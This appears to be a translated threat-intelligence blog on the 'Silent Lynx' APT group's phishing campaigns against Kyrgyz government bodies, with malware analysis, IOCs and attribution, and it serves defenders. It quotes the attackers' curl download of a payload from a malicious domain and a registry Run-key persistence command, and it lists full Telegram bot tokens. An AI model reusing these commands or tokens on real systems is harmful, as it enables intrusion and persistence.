哈萨克斯坦APT组织Silent Lynx针对吉尔吉斯斯坦及邻国开展网络攻击

介绍
Seqrite Labs APT 团队最近发现了一个新威胁组织的两次新攻击活动,我们将其称为**Silent Lynx**。该威胁组织之前曾针对东欧和中亚参与经济决策和银行业的政府智库。此次攻击活动针对的是 SPECA(中亚经济特别计划)的国家之一,即吉尔吉斯斯坦,威胁组织在其中投放了以联合国为主题的诱饵,目标是吉尔吉斯共和国国家银行的政府实体,而第二次攻击活动则针对吉尔吉斯斯坦财政部。
在本博客中,我们将深入探讨我们在分析过程中遇到的攻击活动的详细技术细节。我们将研究此攻击活动的各个阶段,感染从带有 RAR 附件的网络钓鱼电子邮件开始,其中包含恶意 ISO 文件和良性诱饵文档以及恶意 C++ 负载。负载包含嵌入和编码的 PowerShell 脚本,可作为受害者机器的远程访问工具。而在第二个攻击活动中,网络钓鱼电子邮件附加了一个受密码保护的 RAR 文件,其中包含一个诱饵文档和一个恶意 Golang 植入程序。我们还将研究涵盖整个攻击活动的基础设施。
重点目标
受影响的行业
- 大使馆
- 律师
- 政府银行
- 政府智库
- 政府银行
地理重点
- 吉尔吉斯斯坦
- 土库曼斯坦
感染链
初步发现
活动 1
2024 年 12 月 27 日,我们的团队发现了一个针对吉尔吉斯共和国国家银行官员的恶意 Outlook 消息文件。该消息包含一个名为20241228_140656.rar的 RAR 压缩附件。检查 RAR 文件后,我们发现了一个名为20241228_140656.iso的恶意 ISO 文件。该 ISO 文件包含一个名为Xerox_Scan17510875802718752175.exe的恶意可执行文件,它会生成一个 PowerShell 进程。恶意 PowerShell 进程的参数以 Base64 编码并嵌入在 C++ 可执行文件中。此外,ISO 文件还会投放一个名为2024-00178nv Note Verbale_SPECA WG_2024的诱饵文档。第二天,其他威胁研究人员也发现了同样的文件。
调查恶意电子邮件
查看恶意 Outlook 电子邮件后,我们发现威胁行为者使用了吉尔吉斯斯坦国家银行一名员工的受感染电子邮件帐户。他们使用此帐户发送了恶意 RAR 文件,并附上了一条令人费解的消息,称该电子邮件本应发送给财政部,但他们收到了。现在,让我们看看恶意 ISO 文件释放的诱饵 PDF。
调查诱饵文件
提取 ISO 文件后,我们发现了两个文件:一个恶意的 C++ 可执行文件和一个诱饵文件。诱饵文件是一份邀请函,邀请参加2024 年 4 月 3 日在乌兹别克斯坦撒马尔罕举行的SPECA 贸易工作组第十九届会议。该文件模仿了联合国亚洲及太平洋经济社会委员会 (ESCAP) 的合法通信,利用“利用数字化实现可持续供应链”的主题来显得可信和相关。这一策略减少了怀疑,因为吉尔吉斯斯坦是 SPECA 成员国之一。
活动 2
调查恶意电子邮件
查看第二次活动中的恶意 Outlook 电子邮件,我们可以看到威胁行为者使用的与第一次活动完全相同的受感染电子邮件帐户。这一次,他们发送了受密码保护的 RAR 文件以及以员工奖金的名义诱骗员工的紧急消息,目标是吉尔吉斯共和国财政部。现在,让我们看看从 RAR 文件中删除的诱饵 PDF。
调查诱饵文件
提取恶意 RAR 文件后,我们发现了两个文件:一个名为Приложение №14-214-14-12-5-15docx的恶意 Golang 可执行文件和一个名为****Приказ №950-2-ГП о премировании的诱饵 MS Word 文档。
这份诱饵文件似乎是吉尔吉斯共和国财政部发布的一份官方命令,详细说明了员工奖金分配情况。文件包括多名员工的姓名以及命令的发布日期2025 年 1 月 8 日,使诱饵看起来既及时又有意义。为了增强其合法性并减少怀疑,该文件还在末尾附上了一名政府官员的姓名。
技术分析
由于我们的团队发现了两个活动,我们将技术分析分为两部分,首先我们将研究第一个活动,然后研究部署恶意 Golang 可执行文件的活动。
活动-1
第 1 阶段 – 恶意 ISO 文件
RAR 文件包含一个名为20241228_140656.iso的恶意 ISO 文件。提取 ISO 文件后,我们发现了一个诱饵 PDF 和一个充当加载器的恶意 C++ 二进制文件。下一步,我们将分析 C++ 二进制文件。
第 2 阶段 – 恶意 C++ 加载程序
在直接进行分析之前,我们可以确认该样本未加壳并且是 C++ 二进制文件。
经过分析,我们发现恶意 C++ 可执行文件内部存在大量 base64 编码内容,并且有一个 PowerShell 命令,它运行带有标志 -ExecutionPolicy Bypass 的编码脚本,从而导致不受限制的脚本执行。
最后,我们可以看到,使用 CreateProcess API 创建了一个 PowerShell 进程,该进程执行了编码的 blob。在下一节中,我们将检查此加载程序正在执行的 PowerShell blob 的内容。
第 3 阶段 – 恶意 PowerShell 脚本
现在,解码 base64 编码的脚本后,我们发现威胁行为者正在使用 Telegram Bot 执行命令和数据泄露。该脚本包含两个有趣的函数,称为 Invoke-BotCmd 和 Invoke-BotDownload。让我们看看这些函数的工作原理。
① Invoke-BotCmd 函数主要执行从威胁行为者收到的系统命令,并通过 Telegram Bot API 将执行的命令的输出发送回用户。它将命令作为输入,使用 Invoke-Expression 运行该命令,并捕获输出或任何错误。结果使用唯一标识符格式化并发送回用户。如果输出超出 Telegram 的 4095 个字符限制,则会将其分成几块并通过多条消息发送。对于较短的输出,则直接发送消息。因此,此功能有助于远程命令执行和响应传递,从而能够通过 Telegram API 与受害者机器进行交互。
② Invoke-BotDownload 函数主要用来将文件从受害者系统上传到威胁行为者控制的 Telegram 聊天室,从而实现数据泄露。它根据威胁行为者的请求从指定路径读取文件,准备必要的元数据和内容标头,并将文件作为多部分表单数据 POST 请求发送到 Telegram API。因此,该函数旨在将数据从受害者机器泄露到威胁行为者的 Telegram 聊天室。
③脚本的其余部分构成了机器人的核心操作逻辑,以连续循环的方式运行,以监视和处理来自威胁行为者的新消息。它使用 getUpdates API 端点来获取消息并根据其内容对其采取行动。/sleep 等命令允许调整机器人的睡眠间隔,/cmd 允许它使用 Invoke-BotCmd 函数执行系统命令,/download 通过 Invoke-BotDownload 函数触发从受害者机器上传文件。
对于具有特定标识符的自定义命令,机器人会在执行请求的操作之前验证标识符。脚本通过更新最后看到的消息 ID 来确保每条消息仅处理一次,并实现错误处理以重试失败的 API 调用,暂停随机间隔以避免检测或异常网络行为导致早期检测或进一步异常。此循环允许机器人执行诸如运行命令、泄露数据以及与威胁行为者保持一致通信等任务。
现在,在下一节中我们已经完成了对 C++ 和 PowerShell 加载器的研究,我们将研究基础设施和其他活动以及威胁行为者执行的一些其他活动。
活动 – 2
第 1 阶段 – 恶意 Golang 反向 Shell
提取恶意 RAR 文件后,我们可以看到里面只有两个文件,其中一个是诱饵文档,另一个基本上是 Golang 可执行文件。
通过查看二进制文件内部,我们发现该二进制文件是一个用 Golang 编写的反向 shell,使用 net_dial 之类的包连接到命令和控制,如果无法连接到 C2,它会休眠 0.5 秒,运行各种命令。
基础设施与狩猎
在上一节中,我们看到威胁行为者正在使用 Telegram Bot 对受害者系统执行操作和其他任务,例如下载。幸运的是,我们在 PowerShell 脚本中硬编码了 Bot 令牌,在那里我们发现了一些有趣的东西。这是在这次活动中使用的电报机器人,它一直在将内容转发给威胁行为者。
我们还可以看到威胁行为者在目标机器上执行的一些常用命令,例如 whoami、ipconfig 等,以在目标系统上执行发现。
另一个有趣的案例是,我们可以看到威胁行为者 (TA) 正在从 Web 服务器下载恶意负载并在受感染的系统上建立持久性。使用命令 cmd /c curl -oc:\users\public\gservice.exe hxxps://pweobmxdlboi.com/147.exe,TA 从远程服务器下载恶意可执行文件并将其保存为 c:\users\public 目录中的 gservice.exe。
为了确保持久性,威胁行为者执行注册表修改命令 REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v WinUpTask /t REG_SZ /dc:\users\public\gservice.exe /f,该命令将可执行文件添加到 Windows Run 键,使其在用户登录时自动启动。然后,攻击者使用 REG 查询命令验证修改,并通过消息**“Операция успешно завершена** ”(“操作已成功完成”)确认持久性机制已成功建立。
据信,其中一名受害者与土库曼斯坦和吉尔吉斯斯坦之间的外交行动密切相关。敏感文件(如**“Turkmenistanyn Gyrgyz Respublikasyndaky Ilcihanasynyn meyilnamasy.docx”)**的存在表明,攻击者针对受害者的目的是收集有关外交计划和关系的情报,这表明间谍活动是此次活动的主要目标之一,不仅限于银行,还包括其他政府实体。
在寻找由同一威胁行为者(实际上是同一个操作员(同一个 Telegram 用户))发起的其他活动时,我们发现威胁行为者还一直在使用其他基于 Telegram 的机器人针对同一地理位置的各种受害者发起活动。
此外,我们发现威胁行为者一直在使用名为resocks的红队开源工具,威胁行为者已将该工具托管到他们的基础设施中。
威胁行为者托管恶意植入程序的域名如下。
恶意域名 |
hxxps:[//]pweobmxdlboi[.]com |
hxxps:[//]document[.]hometowncity[.]cloud |
hxxps:[//]mailboxdownload[.]com |
经过进一步的搜索,我们发现威胁行为者还使用 Google Drive 将更多有效载荷下载到受害者系统中,目前依赖于 C++、MSIL 植入。这些植入要么嵌入了恶意的 PowerShell 脚本,要么是从文本共享服务(如 Pastebin)下载的,并且在最近的活动中一直依赖 Telegram 进行数据泄露和命令与控制服务。
归因
归因是描述威胁行为者或组织时的一个重要指标。它涉及分析和关联各个领域,包括战术、技术和程序 (TTP)、代码相似性和重用、威胁行为者的动机,有时还包括操作错误。
在我们对Silent Lynx的持续跟踪中,我们发现它与思科 Talos 同事发现的哈萨克斯坦威胁行为者/组织YoroTrooper存在显著的相似之处和重叠之处。让我们来探讨一下 Silent Lynx 和 YoroTrooper 之间的一些关键重叠之处。
Silent Lynx 与 YoroTrooper 之间的关键重叠之处
- 工具库:
思科 Talos 的研究人员发现,YoroTrooper 经常修改和切换其工具集,从而形成了一种伪反检测机制。最近的 YoroTrooper 行动严重依赖基于 PowerShell 的工具。同样,Silent Lynx 也表现出对 PowerShell 工具的极大依赖,两组之间的代码存在重叠。 - 动机:
Silent Lynx 和 YoroTrooper 有着相似的动机,主要针对吉尔吉斯斯坦及其邻国的政府实体进行间谍活动。
除了这些例子之外,其他强烈的相似之处也加强了这两个威胁团体之间的联系。我们以中等可信度将 Silent Lynx 归类为来自哈萨克斯坦的威胁行为者,可能与 YoroTrooper 共享资源,将其定位为以哈萨克斯坦为导向的威胁。
结论
Silent Lynx 的活动展示了一种复杂的多阶段攻击策略,使用 ISO 文件、C++ 加载器、PowerShell 脚本和 Golang 植入程序。他们依赖 Telegram 机器人进行指挥和控制,结合诱饵文件和区域定位,这也凸显了他们对中亚和 SPECA 国家间谍活动的关注。Silent Lynx 还与 YoroTrooper 重叠,这显示了资源共享,这进一步证实了他们是哈萨克斯坦威胁组织的归属。
IOCs
File-Type | Filename | SHA-256 | |
EXE | 147.exe | efb700681713cd50a2addd1fea6b7ee80c084467d3e87668688b9f06642062ba | |
EXE | Xerox_Scan17510875802718752175.exe | e6f76a73180b4f2947764f4de57b52d037b482ece1a88dab9d3290e76be8c098 | |
EXE | 14789.exe | 3560660162f2268d52b69382c78192667a7eee5796d77418a8609b2f1709f834 | |
EXE | resocks.exe | 297d1afa309cdf0c84f04994ffd59ee1e1175377c1a0a561eb25869909812c9c | |
ISO | 20241228_140656.iso | c045344b23fc245f35a0ff4a6d6fa744d580cde45c8cd0849153dee7dce1d80c | |
EXE | Приложение №14-214-14-12-5-15docx | 1b76931775aa4de29df27a9de764b22f17ca117d6e5ae184f4ef617c970fc007 | |
EXE | sokcs.exe | 66294c9925ad454d5640f4fe753da9e7d6742f60b093ed97be88fcdd47b04445 | |
EXE | udadd.exe | 99c6017c8658faf678f1b171c8eb5d5fa7e7d08e0a0901b984a8e3e1fab565cd | |
Domains / URLs | |||
hxxps:[//]pweobmxdlboi[.]com | |||
hxxps:[//]document[.]hometowncity[.]cloud | |||
hxxps:[//]mailboxdownload[.]com | |||
hxxps[:]//api[.]telegram[.]org/bot8171872935:AAHLoudjpHz1bxA26bV5wPuOEL3LOHEl6Qk | |||
hxxps[:]//api[.]telegram[.]org/bot7898508392:AAF5FPbJ1jlPQfqCIGnx-zNdw2R5tF_Xxt0 | |||
MITRE ATT&CK
Tactic | Technique ID | Name |
Reconnaissance | T1589.002 | Gather Victim Identity Information: Email Addresses |
Initial Access | T1204.002<br><br>T1078.002 | User Execution: Malicious File <br>Valid Accounts: Domain Accounts |
Execution | T1059.001 | Command and Scripting Interpreter: PowerShell |
Persistence | T1547.001 | Registry Run Keys / Startup Folder |
Credential Access | T1056.001 <br>T1552.001 | Input Capture: Keylogging <br>Unsecured Credentials: Credentials In Files |
Discovery | T1087<br><br>T1083<br><br>T1046<br><br>T1012<br><br>T1018<br><br>T1016<br><br>T1007 | Account Discovery<br><br>File and Directory Discovery<br><br>Network Service Discovery<br><br>Query Registry<br><br>Remote System Discovery<br><br>System Network Configuration Discovery<br><br>System Service Discovery |
Collection | T1560.001 | Archive Collected Data: Archive via Utility |
Exfiltration | T1567.002 | Exfiltration to Cloud Storage |
Authors
- Subhajeet Singha
- Rhishav Kanjilal